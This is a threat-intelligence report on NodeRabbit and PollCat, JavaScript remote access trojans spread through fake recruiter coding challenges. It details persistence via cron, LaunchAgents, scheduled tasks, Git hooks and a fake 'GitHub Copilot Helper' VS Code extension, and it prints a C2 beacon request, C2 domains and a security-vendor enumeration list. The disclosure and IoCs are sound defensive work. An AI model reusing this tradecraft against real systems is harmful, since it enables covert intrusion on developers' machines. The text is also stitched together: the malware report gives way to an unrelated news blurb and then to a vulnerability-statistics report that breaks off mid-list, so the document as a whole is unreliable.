While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system	Persistence mechanism
Windows	Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux	Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS	Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method	Endpoint	Purpose
POST	/api/rabbit/checkin	Register agent and host info
POST	/api/rabbit/task	Poll for commands
POST	/api/rabbit/result	Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command	Functionality
sys:info	Return hostname, domain user information, username, and process ID.
proc:list	List running processes.
proc:start	Execute an arbitrary shell command.
fs:list	List a directory.
fs:read	Read a file in chunks and return Base64 data.
fs:write	Decode Base64 and write it at a chosen file offset.
fs:delete	Delete a file or recursively delete a directory.
fs:mkdir	Create directories recursively.
net:config	Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep	Change the beacon interval.
script:exec	Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system	Persistence mechanism
Windows	Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux	Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS	Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method	Endpoint	Purpose
POST	/sdk/v2/ready	Register agent and host info
POST	/sdk/v2/config	Poll for commands
POST	/sdk/v2/events	Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system	Persistence mechanism
Windows	Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS	Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux	Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL	Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands	Functionality
fs:drives	Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec	Execute a process
proc:kill	Kill process by PID or image name
agent:servers	Replace the active C2 and attempt to keep the new configuration
agent:getchain	Return the current C2
outlook:emails	Harvest account addresses from Outlook OST and PST artifacts
persist:check	Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode	Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove	Remove the fake extension
persist:projects:scan	Search recent and common development locations for Git repositories
persist:project:inject	Inject a launcher into a repository’s Git hooks
persist:project:remove	Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system	Persistence mechanism
Windows	Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux	Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS	Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method	Endpoint	Purpose
POST	/beacon	Register the client and obtain a socketId and optional timing values.
POST	/gate/hello	Submit host, user, domain, OS information, and its current privilege level.
GET	/gate/fetch?token=<socketId>	Poll for commands.
POST	/gate/submit	Submit a Base64-encoded command-result structure.
GET	/vault/<uuid>	Retrieve a hosted file and write it to the victim machine.
PUT	/vault/push/	Upload a local file or file chunk to the C2.
POST	/gate/track	Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command	Functionality
0x02 (DIR)	List a directory.
0x03 (MV)	Move a file or directory.
0x04 (RUN)	Execute a shell command.
0x05 (TASKLIST)	List running processes.
0x06 (DEL)	Delete a file or directory.
0x07 (UPLOAD)	Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)	Upload a local file to the C2.
0X09 (DRIVES)	List drives, volumes, or mount points.
0X0A (TERMINATE)	Terminate a process by PID.
0X0B (RUNDLL)	Load a DLL and call an exported function on Windows.
0X0C (MKDIR)	Create a directory.
0X0D (ZIP)	Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)	Upload a local file in chunks.
0X0F (RUN_HIDDEN)	Start a hidden background process.
0X20 (EVAL_JS)	Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)	Collect process and software inventory.
0XA1 (WS_DOWNLOAD)	Defined but not implemented.
0xB0 (REQUEST_ELEVATION)	Defined but not implemented.
0XB1 (PERSIST)	Defined but not implemented.
0xF0 (SET_SLEEP_TIME)	Change the polling interval.
0XF1 (SET_IDLE_TIME)	Store an idle-time value.
0xF2 (SET_JITTER_TIME)	Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain	Registrar	ASN	Malware sample
naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 4
healthcomfsdpower[.]com visitfinancedentists[.]com	NameCheap, Inc.	AS 13335	NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net	MarkMonitor Inc.	AS 8075
greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 7
lifespotify[.]com	Dynadot	AS 8075	PollCat RAT
gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net	MarkMonitor Inc.
sahi-finance[.]com	NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain	Creation date	Registrar
healthful-hub[.]com	2026-07-03	NameCheap, Inc.
neumedicahealthcare[.]com	2026-07-03	NameCheap, Inc.
optimumhealthcredit[.]com	2026-07-03	NameCheap, Inc.
healthfullyrecipes[.]com	2026-06-30	NameCheap, Inc.
refreshhealthandwellness[.]com	2026-06-09	NameCheap, Inc.
healthvitalitycare[.]com	2026-05-18	NameCheap, Inc.
aceofspadesmanagement[.]com	2026-05-18	NameCheap, Inc.
glmediaagency[.]com	2026-05-18	NameCheap, Inc.
digimediaskill[.]com	2026-05-18	NameCheap, Inc.
healthyweightplan[.]com	2026-05-18	NameCheap, Inc.
mens-health-online[.]com	2026-05-15	NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

The operation focused on a group named QTFY, which offers hacking services to the Chinese government and others.

The post US Disrupts Chinese Hacking Platform Used in Military and Critical Infrastructure Attacks appeared first on SecurityWeek.

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

• BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
• RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
• YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
• GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
• RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
• UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
• CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

